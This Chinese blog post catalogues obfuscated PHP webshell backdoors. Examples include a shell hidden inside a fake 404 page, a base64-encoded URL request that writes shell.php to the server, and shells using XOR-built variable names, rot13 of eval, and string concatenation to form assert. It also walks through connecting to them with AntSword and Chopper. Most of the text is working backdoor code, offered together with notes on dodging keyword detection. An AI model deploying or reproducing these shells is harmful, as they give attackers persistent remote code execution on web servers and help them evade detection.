php webshell混淆(php webshell 漏洞 处理)

404页面隐藏木马

404页面是网站常用的文件,一般建立好后很少有人会去对它进行检查修改,这时我们可以利用这一点进行隐藏后门。

<!DOCTYPE HTML PUBLIC \\\"-//IETF//DTD HTML 2.0//EN\\\"><html><head><title>404 Not Found</title></head><body><h1>Not Found</h1><p>The requested URL was not found on this server.</p></body></html><?php@preg_replace(\\\"/[pageerror]/e\\\",$_POST[\\\'error\\\'],\\\"saft\\\");header(\\\'HTTP/1.1 404 Not Found\\\');?>

直接访问——显示定制化的404友情提示:

下面我们使用蚁剑进行连接,在链接时我们需要添加body参数:

php webshell混淆(php webshell 漏洞 处理)

之后设置请求信息中的body参数:

php webshell混淆(php webshell 漏洞 处理)

之后进行远程连接:

php webshell混淆(php webshell 漏洞 处理)

数据拼接PHP后门

具体代码如下:

<?php  $POST[\\\'POST\\\']=\\\'assert\\\'; $array[]=$POST; $array[0][\\\'POST\\\']($_POST[\\\'assert\\\']);?>

assert是php代码执行函数,与eval()有同样的功能,因为$array[]、POST[]都是数组,所以$array[]=$POST,就是把$POST数组的值赋给$array数组,这样的话$array[0][\\’POST\\’]的输出就是assert,所以组成了一句话木马<?php assert($_POST[\\’assert\\’]);?>直接用菜刀链接即可密码为assert:

php webshell混淆(php webshell 漏洞 处理)

之后成功连接shell~

php webshell混淆(php webshell 漏洞 处理)

可变变量PHP后门

下面介绍一种通过GET函数构成木马的方法,首先上传一个get.php,文件名与文件内容不包含任何恶意内容:

<?php $_GET[a]($_GET[b]);?>

之后在浏览器中访问(有想知道url具体是什么含义的可以自我base64decode,其实就是打开文件写数据的操作):

http://192.168.174.159:82/webshell/get.php?a=assert&b=${fputs(fopen(base64_decode(‘c2hlbGwucGhw’),w),base64_decode(\\\'PD9waHAgQGV2YWwoJF9QT1NUWydjJ10pOyA/Pg==\\\'))};

php webshell混淆(php webshell 漏洞 处理)

之后可以看到在网站目录下生成了shell.php文件:

php webshell混淆(php webshell 漏洞 处理)

之后使用蚁剑链接:

php webshell混淆(php webshell 漏洞 处理)

php webshell混淆(php webshell 漏洞 处理)

可变变量木马变形

<?php ($_=@$_GET[2]).@$_($_POST[1])?>

在菜刀里写http://site/shell.php?2=assert密码是1

php webshell混淆(php webshell 漏洞 处理)

php webshell混淆(php webshell 漏洞 处理)

异或运算PHP后门

<?php     @$_++;    $__=(\\\"`\\\"^\\\"?\\\").(\\\":\\\"^\\\"}\\\").(\\\"%\\\"^\\\"`\\\").(\\\"{\\\"^\\\"/\\\");    $___=(\\\"$\\\"^\\\"{\\\").(\\\"~\\\"^\\\".\\\").(\\\"/\\\"^\\\"`\\\").(\\\"-\\\"^\\\"~\\\").(\\\"(\\\"^\\\"|\\\");    ${$__}[!$_](${$___}[$_]); ?>

说明如下:

Step 1:\\”^\\”为异或运算符。在PHP中,两个变量进行异或时,会将字符串转换成二进制再进行异或,异或完,又将结果从二进制转换成了字符串。 
Step 2:$_++;这行代码的意思是对变量名为\\”_\\”的变量进行自增操作,在PHP中未定义的变量默认值为null,null==false==0,可以在不使用任何数字的情况下,通过对未定义变量的自增操作来得到一个数字。 
Step 3:$__=(\\”`\\”^\\”?\\”).(\\”:\\”^\\”}\\”).(\\”%\\”^\\”`\\”).(\\”{\\”^\\”/\\”)——得到$__=_GET:

(\\\"`\\\"^\\\"?\\\")      01100000^00111111=01011111 —>”_”(\\\":\\\"^\\\"}\\\")      00111010^01111101=01000111—>”G”(\\\"%\\\"^\\\"`\\\")      00100101^01100000=01000101—>”E”(\\\"{\\\"^\\\"/\\\")      01111011^ 00101111=01010100—>”T”

Step 4:$___=(\\”$\\”^\\”{\\”).(\\”~\\”^\\”.\\”).(\\”/\\”^\\”`\\”).(\\”-\\”^\\”~\\”).(\\”(\\”^\\”|\\”);————得到$___=_POST

(\\\"$\\\"^\\\"{\\\")        00100100^01111011=01011111—>\\\"_\\\"(\\\"~\\\"^\\\".\\\")        01111110^00101110=01010000—>\\\"P\\\"(\\\"/\\\"^\\\"`\\\")        00101111^01100000=01001111—>\\\"O\\\"(\\\"-\\\"^\\\"~\\\")        00101101^01111110=01010011—>\\\"S\\\"(\\\"(\\\"^\\\"|\\\")        00101000^01111100=01010100—>\\\"T\\\"

Step 5:${$__}[!$_](${$___}[$_]);————得到$_GET[0]($_POST[1]);

Step 6:构造一句话木马,将“0”当成参数,赋值为“assert” 

Step  7:  使用菜刀工具连接,地址http://ip/b.php?0=assert 密码为1

php webshell混淆(php webshell 漏洞 处理)

php webshell混淆(php webshell 漏洞 处理)

rot13构造PHP木马

    <?php($b4dboy = $_POST[\\\'b4dboy\\\']) && @preg_replace(\\\'/ad/e\\\',\\\'@\\\'.str_rot13(\\\'riny\\\').\\\'($b4dboy)\\\', \\\'add\\\');?>

    在这里str_rot13(\\’riny\\’)即编码后的eval,完全避开了关键字,又不失效果,让人吐血!

    php webshell混淆(php webshell 漏洞 处理)

    php webshell混淆(php webshell 漏洞 处理)

    关键名称拼接木马

    代码如下:

    <?phperror_reporting(0);$g = array(\\\'\\\',\\\'s\\\');$gg = a.$g[1].ser.chr(\\\'116\\\');@$gg($_POST[get]);?>

    在php中“.”表示将前后单位以字符串形式拼接 数组g[1]=s, char(116)是t ,gg连起来就是assert 整个一句话为@$assert($_POST(get)),直接使用菜刀连接即可:php webshell混淆(php webshell 漏洞 处理)

    最短的一句话木马

    木马如下:

    <?=`$_GET[1]`;

    简易解释:\\”<?=\\”是PHP的一个短的开放式标签,$_GET[1]获取传入变量名为\\”1\\”的值,而反引号包裹的内容会被成功执行一次,从而成功构造出一个一句话木马

    执行效果:

    原创文章,作者:七芒星实验室,如若转载,请注明出处:https://www.sudun.com/ask/34087.html

    (0)
    七芒星实验室的头像七芒星实验室
    上一篇 2024年4月19日
    下一篇 2024年4月19日

    相关推荐

    发表回复

    您的电子邮箱地址不会被公开。 必填项已用 * 标注